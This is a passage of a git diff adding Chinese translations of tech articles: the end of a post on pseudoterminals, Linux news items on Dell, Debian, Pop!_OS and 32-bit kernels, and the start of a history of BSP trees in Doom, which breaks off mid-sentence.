+我想在这里暂停一下,我觉得你按下的键被映射到字节的方式是非常奇怪的。比如,如果我们今天从头开始设计按键的编码方式,我们可能不会把它设置成这样: + + * `Ctrl + a` 和 `Ctrl + Shift + a` 做的事情完全一样。 + * `Alt` 与 `Escape` 是一样的 + * 控制序列(如颜色/移动光标)使用与 `Escape` 键相同的字节,因此你需要依靠时间来确定它是一个控制序列还是用户只是想按 `Escape`。 + +但所有这些都是在 70 年代或 80 年代或什么时候设计的,然后需要永远保持不变,以便向后兼容,所以这就是我们得到的东西 :) + +### 改变窗口大小 + +在终端中,并不是所有你能做的事情都是通过来回发送字节发生的。例如,当终端被调整大小时,我们必须以不同的方式告诉 Linux 窗口大小已经改变。 + +下面是 [goterm][10] 中用来做这件事的 Go 代码的样子: + +``` +syscall.Syscall( + syscall.SYS_IOCTL, + tty.Fd(), + syscall.TIOCSWINSZ, + uintptr(unsafe.Pointer(&resizeMessage)), +) +``` + +这是在使用 `ioctl` 系统调用。我对 `ioctl` 的理解是,它是一个系统调用,用于处理其他系统调用没有涉及到的一些随机的东西,通常与 IO 有关,我猜。 + +`syscall.TIOCSWINSZ` 是一个整数常数,它告诉 `ioctl` 我们希望它在本例中做哪件事(改变终端的窗口大小)。 + +### 这也是 xterm 的工作方式。 + +在这篇文章中,我们一直在讨论远程终端,即客户端和服务器在不同的计算机上。但实际上,如果你使用像 xterm 这样的终端模拟器,所有这些工作方式都是完全一样的,只是很难注意到,因为这些字节并不是通过网络连接发送的。 + +### 文章到此结束啦 + +关于终端,肯定还有很多东西要了解(我们可以讨论更多关于颜色,或者原始与熟化模式,或者 Unicode 支持,或者 Linux 伪终端界面),但我将在这里停止,因为现在是晚上 10 点,这篇文章有点长,而且我认为我的大脑今天无法处理更多关于终端的新信息。 + +感谢 [Jesse Luehrs][11] 回答了我关于终端的十亿个问题,所有的错误都是我的 :) + +-------------------------------------------------------------------------------- + +via: https://jvns.ca/blog/2022/07/20/pseudoterminals/ + +作者:[Julia Evans][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://jvns.ca/ +[b]: https://github.com/lujun9972 +[1]: https://xtermjs.org/ +[2]: https://upload.wikimedia.org/wikipedia/commons/thumb/9/99/DEC_VT100_terminal.jpg/512px-DEC_VT100_terminal.jpg +[3]: https://commons.wikimedia.org/wiki/File:DEC_VT100_terminal.jpg (Jason Scott, CC BY 2.0 , via Wikimedia Commons) +[4]: https://livingcomputers.org/ +[5]: https://github.com/freman/goterm +[6]: https://github.com/jvns/goterm +[7]: https://en.wikipedia.org/wiki/ANSI_escape_code +[8]: https://misc.flogisoft.com/bash/tip_colors_and_formatting +[9]: https://github.com/doy/vt100-rust +[10]: https://github.com/freman/goterm/blob/a644c10e180ce8af789ea3e4e4892dcf078e97e2/main.go#L110-L115 +[11]: https://github.com/doy/ diff --git a/published/202207/20220721 Dell XPS 13 Plus -Developer Edition- Gets Certified for Ubuntu 22.04 LTS.md b/published/202207/20220721 Dell XPS 13 Plus -Developer Edition- Gets Certified for Ubuntu 22.04 LTS.md new file mode 100644 index 0000000000..1917a11a33 --- /dev/null +++ b/published/202207/20220721 Dell XPS 13 Plus -Developer Edition- Gets Certified for Ubuntu 22.04 LTS.md @@ -0,0 +1,76 @@ +[#]: subject: "Dell XPS 13 Plus (Developer Edition) Gets Certified for Ubuntu 22.04 LTS" +[#]: via: "https://news.itsfoss.com/dell-xps-13-plus-dev-ubuntu-certified/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14852-1.html" + +戴尔 XPS 13 Plus 开发者版获得 Ubuntu 22.04 LTS 认证 +====== + +> 戴尔的 XPS 13 Plus 开发者版可能是第一款为 Ubuntu 22.04 LTS 认证的笔记本电脑。 + +![xps 13 dev][1] + +戴尔 XPS 是一个适合专业人士和商业用户的高端笔记本电脑系列。 + +而且它也是运行 Linux 的最受欢迎的笔记本电脑之一。如果你一直想得到一台为最新的 Ubuntu 量身定做的戴尔 XPS 笔记本电脑,那么 **戴尔 XPS 13 Plus 开发者版** 就是为你准备的。 + +13 英寸 XPS 笔记本电脑的开发者版现在已经通过认证,可以使用 Ubuntu 22.04 LTS 完美工作。 + +这些经过认证的设备都经过了测试,以获得最佳体验,确保每台笔记本电脑的功能都能按预期工作。 + +换句话说,你可以找到预装 [Ubuntu 22.04 LTS][2] 的优质笔记本电脑,不必担心其开箱即用的体验。而且,如果你已经有一台 XPS 13 Plus 笔记本电脑,你也可以手动安装 Ubuntu 22.04 来获得同样的优化体验。 + +这款笔记本应该是 [TUXEDO Pulse 15][3] 和 [HP Dev One][4] 的绝佳替代品。 + +### 戴尔的高级笔记本电脑拥有顺滑的 Ubuntu 体验 + +虽然我们可以在任何笔记本电脑上安装 Linux 发行版,但可能并不总是一种方便的体验。 + +从 Wi-Fi 兼容性问题到指纹认证,任何事情都可能出错。除非一个设备与一个操作系统正式兼容,否则你只能带着失败的几率去尝试。 + +然而,戴尔在 Ubuntu 领域是非常有名的,它提供的笔记本电脑在 Ubuntu 的最新版本中完全可以正常工作。戴尔的 XPS 13 Plus 开发者版运行的是经 Canonical 认证的最新推出的 Ubuntu 22.04 LTS。 + +你可以查看我们的 [Ubuntu 22.04 LTS 特色][5] 文章,探索你可以从它那里得到什么。 + +戴尔的产品经理就他们与 Canonical 的长期合作分享了一些见解。 + +> “XPS 是戴尔的创新门户 —— 从对尖端技术的应用,到新用户界面和体验式设计的实验。”戴尔技术公司的 Linux 操作系统产品经理 Jaewook Woo 说:“通过将 Ubuntu 22.04 LTS 的增强性能和电源管理功能引入我们最先进的高端笔记本电脑,戴尔和 Canonical 加强了我们的共同承诺,即继续为使用 Ubuntu 的开发者提供最佳的计算体验。” + +![][6] + +戴尔 XPS 13 Plus 开发者版提供了令人兴奋的规格,包括: + +* 四扬声器设计 +* 高达 4K+ 分辨率的 OLED 显示屏 +* M.2 PCIe Gen 4 NVMe SSD +* 高达 32GB、LPDDR5 5200MHz 内存 + +这款笔记本电脑将于 2022 年 8 月在美国、加拿大和部分欧洲国家预装 Ubuntu 22.04 LTS 发售。如果你想买一台,你可能想关注一下 [戴尔的 XPS 13 Plus 产品页面][7]。 + +> **[Dell XPS 13 Plus][8]** + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/dell-xps-13-plus-dev-ubuntu-certified/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/07/dell-xps-13-dev-edition-with-ubuntu-22-04.jpg +[2]: https://news.itsfoss.com/ubuntu-22-04-release/ +[3]: https://news.itsfoss.com/tuxedo-pulse-gen-2/ +[4]: https://news.itsfoss.com/hp-dev-one-system76/ +[5]: https://itsfoss.com/ubuntu-22-04-release-features/ +[6]: https://news.itsfoss.com/wp-content/uploads/2022/07/dell-xps-13-plus-dev-1.jpg +[7]: https://www.dell.com/en-us/shop/dell-laptops/xps-13-plus-laptop/spd/xps-13-9320-laptop +[8]: https://www.dell.com/en-us/shop/dell-laptops/xps-13-plus-laptop/spd/xps-13-9320-laptop diff --git a/published/202207/20220726 Debian May Consider Including Non-Free Firmware in Official Releases.md b/published/202207/20220726 Debian May Consider Including Non-Free Firmware in Official Releases.md new file mode 100644 index 0000000000..ac911d46d4 --- /dev/null +++ b/published/202207/20220726 Debian May Consider Including Non-Free Firmware in Official Releases.md @@ -0,0 +1,71 @@ +[#]: subject: "Debian May Consider Including Non-Free Firmware in Official Releases" +[#]: via: "https://news.itsfoss.com/debian-non-free/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14873-1.html" + +Debian 可能会考虑在官方版本中包含非自由固件 +====== + +> Debian 会考虑在官方版本中添加非自由固件吗?如果他们想解决 Debian 开发人员重点提出的问题,这似乎是一种可能性。 + +![debian][1] + +由于 Debian 的稳定性和新功能之间的平衡,它是最受欢迎的 Linux 发行版之一。 + +此外,它不附带任何非自由固件。 + +但是,对于想要在较新硬件上使用 Debian 的用户来说,这已成为一个问题。 + +大多数最新的设备和配置都需要非自由固件才能正常工作,其中包括 Wi-Fi、图形等。 + +为了解决这个问题,Debian 开发人员、前 Debian 项目负责人 Steve McIntyre 已经积极讨论了一段时间。 + +正如 [Geeker's Digest][2] 所发现的,在 DebConf 22 会议上,Steve 最近向用户和开发人员着重谈到了修复固件混乱这件事。 + +### 在官方版本中包含非自由固件 + +至于目前的情况,你可以找到带有非自由固件的非官方 Debian 镜像。 + +然而,并不是每个用户都知道它,即使它在 Debian 的下载页面上被宣传,“非官方”也不是用户更喜欢推荐的镜像的东西。 + +此外,当用户可以选择 Ubuntu 或任何基于 Ubuntu 的发行版作为替代方案时,期望用户安装非自由固件也是违反直觉的。 + +不仅限于这些问题,Steve 在他的 [博客][3] 中还提到了其他一些问题,包括: + +* 维护单独的非自由镜像非常耗时。 +* 由于缺乏非自由固件,许多用户不喜欢官方镜像。 + +如果我们希望更多用户在通用硬件上使用 Debian,Steve 建议尽早解决这个问题。 + +可能会通过安装程序中的提示让用户安装非自由固件,类似于 Ubuntu 所做的。 + +此外,在他在 DebConf 22 的演讲中,似乎大多数开发人员投票支持在官方 Debian 镜像中添加非自由固件。 + +随着他重点提出这件事,Steve 得到了寻找解决这个问题的社区用户/开发人员的更多关注。 + +**简单/方便的出路**:在官方发布的镜像中添加非自由固件。 + +那么,Debian 最终会在其新版本中添加对非自由固件的支持吗? Debian 12 会让这成为现实吗? + +在下面的评论中分享你的想法。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/debian-non-free/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/07/debian-non-free-firmware.jpg +[2]: https://www.geekersdigest.com/debian-on-the-verge-to-include-non-free-firmware-in-official-releases/ +[3]: https://blog.einval.com/2022/04/19#firmware-what-do-we-do diff --git a/published/202207/20220727 Pop!_OS 22.04 Linux Distro is Finally Adding Raspberry Pi 4 Support.md b/published/202207/20220727 Pop!_OS 22.04 Linux Distro is Finally Adding Raspberry Pi 4 Support.md new file mode 100644 index 0000000000..ac4bd0efb9 --- /dev/null +++ b/published/202207/20220727 Pop!_OS 22.04 Linux Distro is Finally Adding Raspberry Pi 4 Support.md @@ -0,0 +1,70 @@ +[#]: subject: "Pop!_OS 22.04 Linux Distro is Finally Adding Raspberry Pi 4 Support" +[#]: via: "https://news.itsfoss.com/pop-os-22-04-raspberry-pi-4/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14880-1.html" + +Pop!_OS 22.04 Linux 发行版现在支持树莓派 4 了 +====== + +> System76 终于为其最新的 Pop!_OS 22.04 LTS 增加了对树莓派 4 的支持。 + +![Pop os][1] + +Pop!_OS 是 [最好的初学者友好的 Linux 发行版][2] 之一。 + +它基于 Ubuntu,显然,Pop!_OS 22.04 LTS 是基于 [Ubuntu 22.04 LTS][3] 的。 + +然而,与 Ubuntu 不同,Pop!_OS 22.04 在发布时并没有正式支持树莓派。 + +因此,期待 [Pop!_OS 22.04 LTS][4] 版本对树莓派的支持是合理的。 + +如果你还记得,System76 在 **Pop!_OS 21.10** 中首次增加了对树莓派的支持。我们在测试时也 [报道过][5]。 + +而且,据 System76 的首席工程师 Jeremy Soller 透露, System76 最新的 Pop!_OS 版本现在正准备支持树莓派 4。 + +### Pop!_OS 22.04 LTS for Raspberry Pi 4 + +如果你一直在你的树莓派 4 上使用 Pop!_OS 21.10,这对你来说是个好消息。 + +而且,对于任何想在树莓派 4 上尝试 Pop!_OS 的人来说,它终于有了一个 LTS 版本。 + +截至目前,该 ISO 是作为技术预览版提供的。因此,如果你想试试它,你应该有出现错误和可用性问题的心理预期。请注意,目前还 **只限于树莓派 4**,不支持其他树莓派设备,这是个遗憾。 + +我们不知道 System76 是否计划在这个 LTS 版本中支持其他树莓派板,或者他们是否坚持只支持树莓派 4。 + +然而,考虑到树莓派 4 现在相当流行,对于许多寻求替代 Ubuntu 的 [树莓派的替代操作系统][6] 的爱好者们来说,这应该是一个很好的进展。 + +有了 Pop!_OS 22.04 LTS,树莓派 4 的用户应该能够体验到一些最令人兴奋的升级,以及更新的 [Linux 内核 5.15 LTS][7]。 + +要下载该技术预览版,请前往 Pop!_OS 的 [官方网站][8],点击下载按钮,找到该选项。 + +![Pop OS][9] + +你对树莓派 4 上的 Pop!_OS 22.04 有什么期望?请在下面的评论中告诉我们你的想法。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/pop-os-22-04-raspberry-pi-4/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/07/pop-os-raspberry-pi-4.jpg +[2]: https://itsfoss.com/best-linux-beginners/ +[3]: https://news.itsfoss.com/ubuntu-22-04-release/ +[4]: https://news.itsfoss.com/pop-os-22-04-release/ +[5]: https://news.itsfoss.com/pop-os-raspberry-pi-coming-soon/ +[6]: https://itsfoss.com/raspberry-pi-os/ +[7]: https://news.itsfoss.com/linux-kernel-5-15-release/ +[8]: https://pop.system76.com/ +[9]: https://news.itsfoss.com/wp-content/uploads/2022/07/pop-os-raspberry-pi-4-download-1024x526.png diff --git a/published/202207/20220728 It-s Time to Ditch 32-Bit Linux for 64-Bit.md b/published/202207/20220728 It-s Time to Ditch 32-Bit Linux for 64-Bit.md new file mode 100644 index 0000000000..594a70e68d --- /dev/null +++ b/published/202207/20220728 It-s Time to Ditch 32-Bit Linux for 64-Bit.md @@ -0,0 +1,86 @@ +[#]: subject: "It’s Time to Ditch 32-Bit Linux for 64-Bit" +[#]: via: "https://news.itsfoss.com/64-bit-linux/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14876-1.html" + +是时候抛弃 32 位的 Linux,改用 64 位的了 +====== + +> 如果你想获得安全的体验,你可能不会再继续使用 32 位 Linux 内核。 + +![](https://news.itsfoss.com/wp-content/uploads/2022/07/linux-64-bit.jpg) + +我们有很多 [为 32 位系统定制的 Linux 发行版][1]。 + +那么,为什么我想要不鼓励使用 32 位,而升级到 64 位 Linux 呢? + +有几个原因,其中一个最大的原因,在本周引发了很多关注。 + +### 32 位:古老的电子垃圾硬件? + +没错,与其他操作系统不同的是,Linux 发行版允许你重新利用旧硬件。 + +你能够将一个老机器转换为 [媒体服务器][2]、存储服务器,等等。 + +在这里,我并不是要给你一些如何贡献更多的电子垃圾的思路。尽可能长地利用你的硬件,而不更换它们总是好的。 + +然而,不使用 32 位系统的理由可能比以往更有说服力。关键的问题是在安全和维护方面。 + +### 利用 64 位 Linux 提高安全性 + +2018 年,危险的处理器安全问题 Spectre 漏洞引发了热议。虽然英特尔和 AMD 对这个漏洞进行了修复,但情况并不乐观。 + +不幸的是,一个新的漏洞 Retbleed,它是 Spectre 的一个变种,正在影响英特尔和 AMD 芯片。 + +你可以在下面由发现它的研究人员分享的视频中看到它的情况。 + +![][3] + +因此,我们自然需要适当的措施来解决这个新的安全漏洞的修复问题。 + +**令人震惊的事情来了**。64 位 Linux 内核已经收到了对它的修复,以保护有关的英特尔/AMD 的处理器。但是,正如 [Phoronix][4] 所报道的,Linux 32 位内核仍然容易受到 Retbleed 漏洞的影响。 + +英特尔的 Pawan Gupta 在 [内核邮件列表][5] 中回应了这些担忧,他提到: + +> 英特尔不知道还有谁在 Skylake 那一代的 CPU 上使用 32 位模式的生产环境。所以这不应该是一个问题。 + +另外,很少看到为 32 位维护所做的任何努力。所以,这应该不算什么意外。 + +因此,如果你使用你的系统进行任何可能受到安全问题影响的任务,你应该避开 32 位内核。 + +当然,如果你有一个完全离线的环境可以算做例外。所以,你可以这样做,但不建议这样做。 + +### 不关心安全问题? + +即使你认为得不到像 Retbleed 这样的关键安全修复没有关系,2022 年的 32 位系统也会有更多的麻烦。 + +软件维护者们最终会放弃对 32 位系统上的工具和 Linux 发行版的更新。 + +因此,你的 32 位 Linux 系统可能很快就不会再有积极维护的程序了。 + +因此,现在进行转换(和升级)将是一个好主意。 + +_你还在使用 32 位的 Linux 吗?你对此有什么看法?在下面的评论中分享你的想法。_ + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/64-bit-linux/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/32-bit-linux-distributions/ +[2]: https://itsfoss.com/best-linux-media-server/ +[3]: https://i.ytimg.com/vi/dmSPvJxPm80/hqdefault.jpg +[4]: https://www.phoronix.com/news/Linux-x86-Retbleed +[5]: https://lore.kernel.org/lkml/20220715221901.xm3c4w4idqt67uja@desk/ diff --git a/published/202208/20191106 How Much of a Genius-Level Move Was Using Binary Space Partitioning in Doom.md b/published/202208/20191106 How Much of a Genius-Level Move Was Using Binary Space Partitioning in Doom.md new file mode 100644 index 0000000000..1e54c32d96 --- /dev/null +++ b/published/202208/20191106 How Much of a Genius-Level Move Was Using Binary Space Partitioning in Doom.md @@ -0,0 +1,166 @@ +[#]: subject: "How Much of a Genius-Level Move Was Using Binary Space Partitioning in Doom?" +[#]: via: "https://twobithistory.org/2019/11/06/doom-bsp.html" +[#]: author: "Two-Bit History https://twobithistory.org" +[#]: collector: "lujun9972" +[#]: translator: "aREversez" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14945-1.html" + +在《毁灭战士》中应用二叉空间分割(BSP)是何等天才之举? +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/19/161257n99vkniexsjdehvh.jpg) + +1993 年,游戏开发公司 id Software 发行了一款第一人称射击游戏 《毁灭战士DOOM》,游戏一经发行迅速爆火。在今天看来,《毁灭战士》可谓有史以来最具影响力的游戏之一。 + +《毁灭战士》发行之后的第十年(2003 年),记者 大卫·库什纳David Kushner 出版了一本关于 id Software 的书,书名为《Doom 启示录Masters of Doom》,后被奉为记录毁灭战士创作史的典范读物。几年前我曾读过这本书,如今内容已记得不太真切了,但是书中有一个关于 id Software 首席程序员 约翰·卡马克John Carmack 的故事,我印象特别深刻。这里只对故事做粗略描述(具体情节请往下阅读)。实际上,早在《毁灭战士》开发前期,卡马克就发现自己为这款游戏编写的 3D 渲染器在渲染某些关卡时慢得像爬一样。对于《毁灭战士》这一对动感和速度有着相当高要求的射击游戏来说,这是一个非常严重的问题。意识到了这一问题的严重性,卡马克需要一个更加有效的渲染算法,于是他开始阅读相关论文。最后,他实现了一种叫做“二叉空间分割binary space partitioning(BSP)”的技术,极大地提升了《毁灭战士》游戏引擎的运行速度,而这项技术此前从未用于电子游戏当中。 + +一直以来,我对这个故事的印象十分深刻。卡马克将学术前沿研究运用于电子游戏之中,我觉得这正是他之所以成为传奇人物的原因。无论从哪个角度来看,卡马克都应该是电子游戏行业中人尽皆知的典型的天才程序员,只不过上面这个故事是我最先能够想到的理由。 + +显而易见,“二叉空间分割”这个术语听起来就是难度相当高的课题,能够自行阅读论文并将其付诸实施实属不易,所以这个故事给我留下了深刻的印象。我一直认为卡马克的做法十分具有创见性,不过由于我既不懂二叉空间分割到底是怎样的一项技术,也不晓得这项技术在当时究竟有多么革新,所以我也并不确定自己的观点是否正确。如果按照从 霍默·辛普森Homer Simpson(LCTT 译注:《辛普森一家人》中的那个老爹)到 阿尔伯特·爱因斯坦Albert Einstein 的顺序为天才列出一套级别体系,那么卡马克将二叉空间分割技术运用于《毁灭战士》的做法究竟属于什么级别的天才之举呢? + +同时,我也在想,二叉空间分割这个概念最初是从哪儿来的,又是怎样吸引到卡马克的?因此,本篇文章不仅仅会讲述约翰·卡马克和《毁灭战士》的故事,也会探讨二叉空间分割树(BSP 树)数据结构的发展历史。有意思的是,BSP 树和计算机科学领域其他许多技术一样,最初都起源于军事研究领域。 + +没错,《毁灭战士》的第一关卡 E1M1 就受到了美国空军的启发。 + +### VSD 难题 + +BSP 树是计算机图形领域最具挑战性难题的解决方案之一。举个例子,为了渲染出三维场景,渲染器必须能够区分在一个特定角度下的可见物体和不可见物体。如果渲染时间比较充足,这一要求也算不上大问题;但是就理想情况来说,实时游戏引擎在 1 秒内至少需要完成 30 次区分任务。 + +这一问题有时被称为 可见面检测visible surface determination(VSD)问题。后来与卡马克合作开发《雷神之锤Quake》(id Software 继《毁灭战士》之后开发的游戏)的程序员 迈克尔·亚伯拉什Michael Abrash,在自己的著作《图形程序开发人员指南Graphics Programming Black Book》 中写道: + +> 我想探讨一下在我看来 3D 中最棘手的一个问题:可见面检测问题(在每个像素点上绘制合适的表面)以及与之密切相关的隐面消除问题(迅速去除不可见的多边形,用于加快可见表面检测速度)。简略起见,我将在下文采用缩写 VSD 来表示可见面检测和隐面消除。 +> +> 为什么我会认为 VSD 是 3D 中最棘手的问题呢?尽管纹理映射等光栅化问题更让人感兴趣而且也更重要,但是相对而言,它们是范围相对有限的任务。随着 3D 加速器的出现,它们逐渐被转移到硬件中。同时,它们只随着屏幕分辨率的增加而增加,而分辨率的增加是相对温和的。 +> +> 相反,VSD 却像是一个无底洞,目前应对方案也有很多。但实际上,在采用简单的方法处理 VSD 时,其性能会直接受到场景复杂程度的影响,而场景的复杂程度通常会以平方级或立方级的形式增大。所以在渲染过程中,VSD 很快就会成为制约因素。[^1] + +亚伯拉什是在上个世纪九十年代末写的关于 VSD 问题的这些困难,这是在《毁灭战士》之后数年,这款游戏证明了普通人盼望着能用自家电脑玩很吃图形配置的游戏。九十年代早期,id Software 成立后发行了一些游戏。尽管当时的计算机还只是用来处理文字与表格或者执行其他任务,未尝想过要在上面运行游戏,id Software 必须对发行的游戏进行编程,使其能在计算机上流畅运行。为了实现这一飞跃,尤其是为了能让在《毁灭战士》之前 id Software 发行的少数 3D 游戏在电脑上运行,id Software 必须做出革新。在这些游戏中,所有的关卡在设计时都受到了一定限制,以便更容易解决 VSD 问题。 + +例如,在《毁灭战士》之前,id Software 发行了《德军总部 3D 版Wolfenstein 3D 版》,该游戏的每一个关卡都是由与坐标轴平齐的墙壁组成。换言之,在《德军总部 3D 版》的游戏画面里,你看到的只有南北方向或者东西方向的墙壁。在游戏中,墙壁与墙壁之间有着固定的间隔,所有过道的宽度或是一个方格,或是两个方格等等,但绝不会出现 2.5 个方格。如此一来,尽管 id Software 团队只能设计出外观十分相似的关卡,但这也让卡马克为 《德军总部 3D 版》 编写渲染器的工作简单了不少。 + +通过将屏幕上的光线“齐射”入虚拟游戏世界,《德军总部 3D 版》的渲染器解决了 VSD 问题。通常来说,使用光线的渲染器叫做“光线投射”渲染器。这种渲染器的速度一般较慢,因为解决内部的 VSD 问题涉及到在光线和游戏中的物体之间找到第一个交点,这通常需要进行大量的计算。但在 《德军总部 3D 版》,由于所有的墙壁都与网格平齐,所以光线与墙壁相交的位置只能在网格线上。如此一来,渲染器只需逐个检查这些交点即可。如果渲染器先从离玩家视角最近的交点开始检查,接着检查下一个最近的交点,以此类推,最后遇到第一面墙壁时停止检查。这样,VSD 问题便轻而易举地得到了解决。光线从每一个像素点向前投射,与画面物体接触时停止,这一方法是可行的。因为从 CPU 资源来看,投射的成本很低。事实上,由于每面墙壁高度相同,因此针对同列的像素点,投射的光线只需一条。 + +尽管当时还没有专业的图形显卡,《德军总部 3D 版》凭借这一取巧之法得以在配置较低的个人电脑上正常运行起来。然而,这个办法并不适用于《毁灭战士》。因为 id Software 为这款新游戏增添了许多新元素 —— 倾斜的墙面、楼梯以及高低不一的天花板。光线投射的办法自然也就不好用了,于是卡马克编写出了一个新的渲染器。《德军总部 3D 版》的渲染器关注的是图像,将光线投射到屏幕像素表示的列上,而 《毁灭战士》 关注的则是物体。换句话说,《毁灭战士》 的渲染器会记录游戏场景中的所有物体,继而将其投射到屏幕当中;而非记录屏幕上的像素点,判断每个像素点的颜色。 + +对于强调物体的渲染器来说,可以使用 Z 缓冲区来解决 VSD 问题,比较简单。每次将物体投射到屏幕上时,需要对每个用于绘制的像素点进行检查。如果你想绘制出的物体的部分和已经绘制在目标像素点上的物体相比更加靠近玩家,可以将其覆盖。否则,必须保持像素不变。尽管办法很简单,但是 Z 缓冲区对内存的要求较高,而且渲染器可能仍然要花费大量的 CPU 资源来投射玩家永远不会看到的水平几何体。 + +在 20 世纪 90 年代,使用 Z 缓冲区的方法还存在着其他缺陷:IBM 兼容机(PC)搭载的是一种叫 VGA 的显示适配器系统,在这类电脑上,将图像写入帧缓冲区的成本非常之高。因此,在只会以后被覆盖的像素上绘制花费的时间拖慢了渲染器的性能。 + +考虑到将图像写入帧缓冲区的成本非常之高,理想的渲染器需要首先绘制离玩家最近的物体,接着是比较近的物体,以此类推,直到屏幕上每个像素点都写入了信息。这时,渲染器会停止运行,大幅缩短远处不可见物体的渲染时间。这种由近及远对物体进行排序的方法也可以解决 VSD 问题。那么问题又来了:什么才是玩家可以看到的? + +最初,卡马克打算依靠《毁灭战士》的关卡布局来解决 VSD 问题。首先用渲染器绘制出玩家目前所在房间的墙壁,之后玩家冲进隔壁房间,再绘制出隔壁房间的墙壁。由于每个房间互不遮挡,这一办法也能解决 VSD 问题。而互相遮挡的房间可以分割成若干互不遮挡的“区域”。在 YouTube 上的一个 [视频][2] 中,Bisqwit 展示了自己制作出来的使用了相同算法的渲染器。可以看到,如果以超慢的速度运行,便能一睹渲染的具体过程。这一算法同样运用到了《毁灭公爵 3D 版》当中,这款游戏在 《毁灭战士》 推出三年之后发行,当时 CPU 的性能也更加强大了。1993 年,尽管在硬件上已经可以运行游戏了,但是使用这一算法的《毁灭战士》渲染器在复杂的层级结构上依旧表现吃力,尤其是在房间分割出来的各部分相互嵌套的情况下。不巧的是,这类层级结构正是构造环形楼梯等物体的唯一办法。沿着环形楼梯走下去,直到走入已经绘制好的区域,由于这其中涉及多次循环下降运动,导致游戏引擎的运行速度大幅降低。 + +在 id Software 团队意识到《毁灭战士》游戏引擎的速度可能过慢时,公司还面临着其他任务:将《德军总部 3D 版》移植到超级任天堂游戏机(简称“超任”)上。那时,超任的性能比 IBM 兼容机还要差。结果表明,尽管光线投射渲染器非常简单,但是想要在超任上快速运行是不可能的。于是,卡马克着手研究更为高效的算法。事实上,也正是为了顺利将《德军总部》移植到超任,卡马克首次研究了二叉空间分割技术,并将其付诸应用。由于《德军总部 3D 版》的墙壁与坐标轴平齐,所以二叉空间分割技术应用起来也比较简单直接;但是《毁灭战士》的情况则比较复杂。不过,卡马克发现,二叉空间分割树同样可以用来解决《毁灭战士》速度过慢的问题。 + +### 二叉空间分割 + +二叉空间分割binary space partitioning(BSP)会提前将 3D 场景分割为若干部分,使 VSD 问题易于解决。讲到这里,你需要先了解一下为什么分割场景可以奏效:如果你在场景上画条线(对应三维空间里的一个平面),你就可以指出玩家或者摄像机视角在这条线的哪一侧,在这条线另一侧的物体无法遮挡玩家所在一侧的物体。如果多次重复这一操作,该三维场景最终会被分割为多个区域,这并不是对原始场景的改进,只是现在你知道了更多关于场景的不同部分会如何相互阻挡。 + +首次阐述上述三维场景分割的是美国空军的研究员,他们曾尝试向美国空军证明计算机图形已经非常先进,可以应用到飞行模拟器领域。1969 年,他们将研究发现发表在一份题为《计算机生成图像在图形仿真中的应用研究》的报告中。该报告的总结部分指出,计算机图形可用于训练飞行员,但也警告说,其实际应用可能会受制于 VSD 问题: + +> 实时图像处理需要解决的一个关键问题就是优先级问题,或称隐藏线问题。在我们平时用眼睛观察外界时,大自然替我们轻易地解决了这一问题:不透明物体上的一个点,掩盖了同一视觉方向上、且距离较远的所有其它物体。但在计算机中,这项任务却非常困难。图像处理需要解决的优先级问题,随着环境复杂程度的增加,计算量会呈指数级增长,随即就会超过绘制物体透视图所需的计算负载。[^2] + +他们在报告中提出了一项基于构造“遮挡矩阵”的方案,这一方案据说早些时候曾被应用于 NASA 的项目当中。研究员指出,平面将场景一分为二,可用来解决平面两侧物体之间存在的“任何优先级问题”。通常情况下,可能需要明确将这些平面添加到场景中,但对某些几何体,只需借助你已经拥有的几何体的表面即可。他们举了一个例子,如下图:p~1~、p~2~ 以及 p~3~ 是三个不同的平面,如果摄像机视角位于其中一个平面的前方,即“正”面,p~i~ 的值就等于 